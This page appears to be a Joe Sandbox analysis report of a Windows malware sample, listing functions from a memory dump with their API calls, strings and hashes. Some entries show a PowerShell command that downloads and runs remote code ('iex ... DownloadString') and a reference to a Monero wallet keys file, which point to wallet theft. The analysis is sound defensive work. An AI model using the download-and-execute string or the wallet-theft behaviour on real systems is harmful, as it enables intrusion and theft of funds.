Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 00247b9a33f1ead60e8290d4613df1895e402eeb8edfd59355b545d8d5ce5a1d
Instruction ID: b446a1e40d832cf153428e39e770122ae4c74b500c938e78efda2144dcaf6729
Opcode Fuzzy Hash: 00247b9a33f1ead60e8290d4613df1895e402eeb8edfd59355b545d8d5ce5a1d
Instruction Fuzzy Hash: 6C419E71D102089AEB18FBA0C991FEDBB74BF24340F50455AE116B7191DF786A4ACFA1

Function 00A79E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00A79F41

Part of subcall function 00A8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A8A7E6

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00A79E67
@, xrefs: 00A79EF1
v10, xrefs: 00A79EA3
v20, xrefs: 00A79E21

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: e43b3c882c8bd764a79c3c6e8e669bae6b0aa5621cbb22924586f21480a2877c
Instruction ID: 04871f94a63eca2d09d6fbadf6d09dc697b7283b05bb7afa0534647e5d62776c
Opcode Fuzzy Hash: e43b3c882c8bd764a79c3c6e8e669bae6b0aa5621cbb22924586f21480a2877c
Instruction Fuzzy Hash: 08613E71A00248ABDB18EFA4CD96FED77B5BF54340F00C518F90A9B591EB746A06CB92

Function 00A86920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 00A8696C
sscanf.NTDLL ref: 00A86999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00A869B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00A869C0
ExitProcess.KERNEL32 ref: 00A869DA

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 498c0a500d9a46e9d7c0505fa7f96530378ef66457b4577f15f6a0925bd94380
Instruction ID: acf5ed9a6e300e1f10b5326cd71e5e3317946873f4ff6237611cd47ced93820b
Opcode Fuzzy Hash: 498c0a500d9a46e9d7c0505fa7f96530378ef66457b4577f15f6a0925bd94380
Instruction Fuzzy Hash: 9621DC75D14208ABDF04EFE4D945AEEB7B9FF48300F04856EE406E3250EB355605CB65

Function 00A87E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A87E37
RtlAllocateHeap.NTDLL(00000000), ref: 00A87E3E
RegOpenKeyExA.ADVAPI32(80000002,0067BBE8,00000000,00020119,?), ref: 00A87E5E
RegQueryValueExA.ADVAPI32(?,0068D9A0,00000000,00000000,000000FF,000000FF), ref: 00A87E7F
RegCloseKey.ADVAPI32(?), ref: 00A87E92

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: ef16604fa7ac113bdd3f43fdd5c92f00792c26fda4c9be072cf63140b2c5ff28
Instruction ID: e7cf95f164d1910f141e63f99e77176e288a812930f1c3e46a1d7bad52613b8e
Opcode Fuzzy Hash: ef16604fa7ac113bdd3f43fdd5c92f00792c26fda4c9be072cf63140b2c5ff28
Instruction Fuzzy Hash: 19115EB1A44205FBDB04DF94DD49FBFBBB8FB04B10F204259F605A7680D77558008BA1

Function 00A89260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0068E8B0,?,?,?,00A8140C,?,0068E8B0,00000000), ref: 00A8926C
lstrcpyn.KERNEL32(00CBAB88,0068E8B0,0068E8B0,?,00A8140C,?,0068E8B0), ref: 00A89290
lstrlen.KERNEL32(?,?,00A8140C,?,0068E8B0), ref: 00A892A7
wsprintfA.USER32 ref: 00A892C7

Strings

%s%s, xrefs: 00A892B5

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 4e656ca32535366bf5c2697ccf94f04793ac140f2c2699c07a170b881f0daef7
Instruction ID: f5178777421f907c5476ee5c448152d1d7500e15684985ffe2d48b0fdc57356d
Opcode Fuzzy Hash: 4e656ca32535366bf5c2697ccf94f04793ac140f2c2699c07a170b881f0daef7
Instruction Fuzzy Hash: 90011E75500108FFCB04DFECC988EEE7BB9EB48351F148248F9499B200C631AA40DB91

Function 00A712A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A712B4
RtlAllocateHeap.NTDLL(00000000), ref: 00A712BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00A712D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00A712F5
RegCloseKey.ADVAPI32(?), ref: 00A712FF

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: e0095dfa1d74cd2e81cdbd4cecaf8a535ca503048f30518a134bdcb91ce4e130
Instruction ID: 6cfa67787201e8abca93008d2ae2583bff6225b3508d210314dbbc17f9ba7621
Opcode Fuzzy Hash: e0095dfa1d74cd2e81cdbd4cecaf8a535ca503048f30518a134bdcb91ce4e130
Instruction Fuzzy Hash: C001E6B5A40208BBDB04DFD4DC59FAEB7BCEB48705F108155FA45972C0DA759A018F91

Function 00A8C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00A8C8EC
___crtLCMapStringA.LIBCMT ref: 00A8C90C
___crtLCMapStringA.LIBCMT ref: 00A8C931

Strings

, xrefs: 00A8C896

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: bd51a414794bbe7ddc18894878df64802c8a2ba7c6e937cb12be8fecf10c55d2
Instruction ID: 89c2d994d7e859270c3f38e76e7e604463a5b380ad4be234d07b05dfe83f0539
Opcode Fuzzy Hash: bd51a414794bbe7ddc18894878df64802c8a2ba7c6e937cb12be8fecf10c55d2
Instruction Fuzzy Hash: 5C4106B110079C5EDB21AB24CD85FFBBBF89F45718F1444E8E9CA86182E2719A44CF30

Function 00A86630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00A86663

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

ShellExecuteEx.SHELL32(0000003C), ref: 00A86726
ExitProcess.KERNEL32 ref: 00A86755

Strings

<, xrefs: 00A866D9

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: fe1b690dd264026c08aba21bf98831d6e450346d81687c64783d5ca9970b452b
Instruction ID: 5b8eb689a94f0373838595f57b857a780a685f1866c332c3fd61bfdd0f72dcaa
Opcode Fuzzy Hash: fe1b690dd264026c08aba21bf98831d6e450346d81687c64783d5ca9970b452b
Instruction Fuzzy Hash: 633129B1D01218AAEB14FB90DD92BDEB778AF14300F804189F20967191DF786B49CF6A

Function 00A887C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00A90E28,00000000,?), ref: 00A8882F
RtlAllocateHeap.NTDLL(00000000), ref: 00A88836
wsprintfA.USER32 ref: 00A88850

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Strings

%dx%d, xrefs: 00A88847

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 635d0a3295cc16d9bc4d469f76f2b712c6ef0a1604bda0da31db020bc31f4242
Instruction ID: 4093c47d78b3cfbc39e55df253e66b9365cf909ef85e25db02c8889414ee1904
Opcode Fuzzy Hash: 635d0a3295cc16d9bc4d469f76f2b712c6ef0a1604bda0da31db020bc31f4242
Instruction Fuzzy Hash: F7211FB1A44208BFDB04DF98DD49FAEBBB8FB48711F104619F645A76C0C779A901CBA1

Function 00A88D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00A8951E,00000000), ref: 00A88D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00A88D62
wsprintfW.USER32 ref: 00A88D78

Strings

%hs, xrefs: 00A88D6F

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 10483da2fce5441bb0f368e38b76638ca317634a21fd55468f9b82e4ddc7da1b
Instruction ID: d95c78040b81ff14059fa42b4319efdadfc2f7dafd42f49a1990f5e6483ec22d
Opcode Fuzzy Hash: 10483da2fce5441bb0f368e38b76638ca317634a21fd55468f9b82e4ddc7da1b
Instruction Fuzzy Hash: 8DE0ECB5A44208BFDB10DB94DD0EF6D77BCEB44702F004294FD4997680EA729E109B96

Function 00A7A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A8A740: lstrcpy.KERNEL32(00A90E17,00000000), ref: 00A8A788

Part of subcall function 00A8A9B0: lstrlen.KERNEL32(?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A8A9C5
Part of subcall function 00A8A9B0: lstrcpy.KERNEL32(00000000), ref: 00A8AA04
Part of subcall function 00A8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A8AA12

Part of subcall function 00A8A8A0: lstrcpy.KERNEL32(?,00A90E17), ref: 00A8A905

Part of subcall function 00A88B60: GetSystemTime.KERNEL32(00A90E1A,0068E2E8,00A905AE,?,?,00A713F9,?,0000001A,00A90E1A,00000000,?,006888B8,?,\Monero\wallet.keys,00A90E17), ref: 00A88B86

Part of subcall function 00A8A920: lstrcpy.KERNEL32(00000000,?), ref: 00A8A972
Part of subcall function 00A8A920: lstrcat.KERNEL32(00000000), ref: 00A8A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00A7A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00A7A3FF
lstrlen.KERNEL32(00000000), ref: 00A7A6BC

Part of subcall function 00A8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A8A7E6

DeleteFileA.KERNEL32(00000000), ref: 00A7A743

Memory Dump Source

Source File: 00000000.00000002.1297793080.0000000000A71000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A70000, based on PE: true

Associated: 00000000.00000002.1297776705.0000000000A70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1297793080.0000000000CBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000CCE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000E58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298027178.0000000000F6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298376068.0000000000F6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298508561.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1298529738.000000000110B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: e0864644a8ae24d473428235f1f3b79fee90516eb3cf78a7b9273d2824f2a27b
Instruction ID: 1ef85a82270610b553e21c38054a506cec8f208dc5547512975b63c3cddcb935
Opcode Fuzzy Hash: e0864644a8ae24d473428235f1f3b79fee90516eb3cf78a7b9273d2824f2a27b
